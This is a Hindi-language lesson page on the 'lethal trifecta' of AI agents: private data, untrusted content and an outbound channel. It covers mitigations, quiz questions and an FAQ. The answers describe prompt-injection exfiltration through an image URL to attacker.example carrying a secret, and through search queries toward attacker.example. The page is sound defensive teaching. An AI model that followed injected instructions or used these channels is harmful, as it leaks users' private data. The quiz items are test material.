घातक तिकड़ी (The lethal trifecta)
तीन ऐसी क्षमताएं जो अकेले में पूरी तरह सामान्य हैं। तीनों को एक ही agent में डाल दीजिए और आपने डेटा चुराने वाली एक मशीन तैयार कर दी। स्विच ऑन कीजिए और देखिए।
60 सेकंड में
घातक तिकड़ी (The lethal trifecta)
तीन ऐसी क्षमताएं जो अकेले में पूरी तरह सामान्य हैं। तीनों को एक ही agent में डाल दीजिए और आपने डेटा चुराने वाली एक मशीन तैयार कर दी। स्विच ऑन कीजिए और देखिए।
Interactive · build the trifecta
तीनों की ज़रूरत क्यों है
- 1
प्राइवेट डेटा तक पहुँच
कुछ ऐसा जो चुराने लायक हो: आपकी फ़ाइलें, आपके ईमेल, आपके ग्राहकों का डेटाबेस, आपका source code, आपकी API keys। - 2
गैर-भरोसेमंद कंटेंट से संपर्क
हमलावर की बात मॉडल तक पहुँचने का ज़रिया: खुला वेब, आने वाले ईमेल, अपलोड की गई फ़ाइलें, पब्लिक issues, थर्ड-पार्टी टूल्स। - 3
बाहर कम्युनिकेट करने की क्षमता
कोई भी ऐसा माध्यम जो जानकारी को बाहर ले जाए: ईमेल भेजना, पोस्ट करना, किसी सार्वजनिक जगह पर लिखना, या किसी URL से सिर्फ एक इमेज लोड करना भी। - 4
किसी भी एक को हटा दीजिए
हमला रुक जाता है। मुश्किल नहीं होता — रुक जाता है। या तो चुराने के लिए कुछ नहीं बचता, या आदेश देने का कोई रास्ता नहीं होता, या चोरी का माल बाहर ले जाने का कोई साधन नहीं होता।
असल ज़िंदगी में इसके रूप
| Agent | प्राइवेट डेटा | गैर-भरोसेमंद कंटेंट | बाहर निकलने का रास्ता |
|---|---|---|---|
| ईमेल असिस्टेंट | आपका पूरा इनबॉक्स | कोई भी ईमेल जो कोई आपको भेजे | यह ईमेल भेज सकता है |
| कोडिंग agent | Source code और .env secrets | Issues, PRs, dependency docs | यह push कर सकता है, या नेटवर्क कॉल कर सकता है |
| ब्राउज़िंग असिस्टेंट | आपके लॉग-इन किए हुए सेशन्स | हर वह पेज जिस पर यह जाता है | यह किसी भी URL पर जा सकता है |
| सपोर्ट agent | ग्राहकों का डेटाबेस | आने वाले टिकट्स | यह टिकट्स का जवाब दे सकता है |
| पर्सनल असिस्टेंट | कैलेंडर, कॉन्टैक्ट्स, फ़ाइलें | इनवाइट्स, शेयर किए गए डॉक्स | यह मैसेज और शेयर कर सकता है |
एक पैर काटना
- पूरा स्टोर देने के बजाय agent को एक सीमित (scoped), केवल पढ़ने का (read-only) व्यू दें।
- सीक्रेट्स के मॉडल तक पहुँचने से पहले ही उन्हें हटा (redact कर) दें।
- सेशन्स को अलग रखें ताकि एक यूज़र का डेटा कभी दूसरे के पास न रहे।
- डेटा केवल प्लान तय होने के बाद ही फेच करें, पहले कभी नहीं।
- बाहर जाने वाले डोमेन्स की allow-list बनाएं — इनके अलावा कोई और डोमेन resolve न हो।
- दिखाए जाने वाले आउटपुट में रिमोट तस्वीरों और लिंक्स के अपने-आप लोड होने पर रोक लगाएं।
- हर send, post या push पर इंसान की मंज़ूरी (approval) लें।
- कोई भी खुला (free-text) URL नहीं: agent केवल एक तय लिस्ट में से ही चुन सकता है।
और देखें और पढ़ें
लैब
चार वास्तविक सिस्टम्स का Trifecta ऑडिट, और हर एक में काटा जाने वाला सबसे सस्ता पैर।
समस्या
आपका काम तब पूरा होगा जब
कठिन सवाल
उत्तर देखने से पहले ख़ुद जवाब देने की कोशिश करें। अगर आप इनके जवाब दे सकते हैं, तो आप पाठ समझ गए हैं।
Q1एक सिर्फ पढ़ने वाला (read-only) agent जिसके पास ईमेल, राइटिंग, या पोस्टिंग की कोई सुविधा नहीं है। केवल वेब सर्च है। किसी तरीके से साबित करें कि डेटा अब भी बाहर निकल सकता है।दिखाएं
<secret> site:attacker.example सर्च करने का निर्देश देता है, और अपने लॉग्स में referrer या क्वेरी को पढ़ लेता है। यहाँ तक कि एक बूलियन (हाँ/ना) चैनल भी पर्याप्त क्वेरी मिलने पर कोई की (key) लीक कर सकता है, और agents तो बहुत सारी क्वेरी करते हैं।Q2आपकी टीम को एक ईमेल असिस्टेंट लॉन्च करना ही है — तीनों पैर रहेंगे, इस पर कोई समझौता नहीं हो सकता। जितना हो सके उतना मजबूत सिस्टम डिज़ाइन करें और बचे हुए जोखिम (residual risk) को साफ़ शब्दों में बताएं।दिखाएं
अक्सर पूछे जाने वाले सवाल
अगर मेरे पास तीनों में से केवल दो ही हों तो?
आप ठीक स्थिति में हैं, और आपको लिखकर रख लेना चाहिए कि कौन-सा पैर गायब है और जानबूझकर उसकी रक्षा करनी चाहिए — क्योंकि तीसरा पैर अक्सर अनजाने में जुड़ जाता है। "असिस्टेंट को समरी ईमेल भेजने दें" नाम का एक टिकट असल में उस तिकड़ी को पूरा कर रहा होता है।
क्या कोई इमेज लोड करना सचमुच बाहर निकलने का रास्ता है?
हाँ, और यह सबसे आम तरीका है। मॉडल एक ऐसा इमेज टैग लिखता है जो attacker.example/log?d=SECRET की तरफ इशारा करता है। चैट क्लाइंट इसे रेंडर करता है, आपका ब्राउज़र इसे फेच करता है, और वह सीक्रेट अब हमलावर के वेब सर्वर के लॉग्स में पहुँच चुका होता है। किसी क्लिक की ज़रूरत नहीं। मॉड्यूल 12 में इस तरीके को विस्तार से समझाया गया है।
क्या एक अप्रूवल क्लिक से यह ठीक हो जाता है?
सिर्फ तभी, जब इंसान असल में यह समझ सके कि वह क्या अप्रूव कर रहा है। "क्या नेटवर्क रिक्वेस्ट की अनुमति दें?" लोगों को 'हाँ' पर क्लिक करने की आदत डाल देता है। "क्या अपने पिछले 40 ईमेल unknown-domain.example को भेज दें?" ऐसी आदत नहीं डालता।
अगर मैं सावधानी बरतूँ तो क्या मैं तीनों को रख सकता हूँ?
कभी-कभी, गंभीर इंजीनियरिंग के साथ: सख्त आउटबाउंड allow-lists, केवल स्ट्रक्चर्ड डेटा का बहाव, हर एक्शन पर अप्रूवल, और भारी मॉनिटरिंग। यह महंगा है और कभी भी पूरी तरह सुरक्षित नहीं होता। अगर संभव हो तो एक पैर काट ही दें।
यह विचार कहाँ से आया?
Simon Willison ने जून 2025 में आम लोगों को यह पैटर्न समझाने के लिए "the lethal trifecta" शब्द गढ़ा था। यह बहुत लोकप्रिय हो गया क्योंकि इसने एक उलझे हुए जोखिम को एक ऐसी चेकलिस्ट में बदल दिया जिसे कोई भी चला सकता है।
पाठ का टेस्ट
5 सवाल। पास होने और इस पाठ को पूरा करने के लिए 3 सही होने चाहिए (60%)।